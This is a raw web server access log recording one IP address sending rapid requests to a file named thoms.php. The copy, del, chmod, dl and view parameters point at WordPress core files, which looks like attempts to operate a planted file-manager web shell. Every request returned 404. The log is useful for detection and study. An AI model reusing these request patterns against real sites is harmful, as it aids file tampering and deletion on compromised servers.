45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-i18n.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-i18n.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?del=class-wp-icon-collections-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-icon-collections-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?dl=media-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?chmod=build&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=build&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=fonts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=speculative-loading.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=speculative-loading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme-previews.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme-previews.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?del=block-patterns&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?chmod=version.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-category.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?del=class-wp-connector-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-connector-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?del=canonical.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?del=compat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=compat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fregistration.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fregistration.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=revision.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /ba-guo.com.tw/wp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/ba-guo.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?chmod=class-wp-http-requests-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?dl=theme-i18n.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-load.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?chmod=plugin.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=user.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fblock-bindings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:05 -0400] "GET /thoms.php?chmod=class-snoopy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fversion.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fversion.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?dl=class-wp-post.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?chmod=l10n&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?chmod=script-modules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?chmod=block-patterns.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?chmod=class-json.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=rss.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-patterns&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:06 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?chmod=style-engine&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=style-engine&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?dl=cache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?del=class-walker-category.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?del=user.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fabilities-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fabilities-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?chmod=class-wp-comment-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?dl=kses.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=kses.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-meta-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fsodium_compat&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
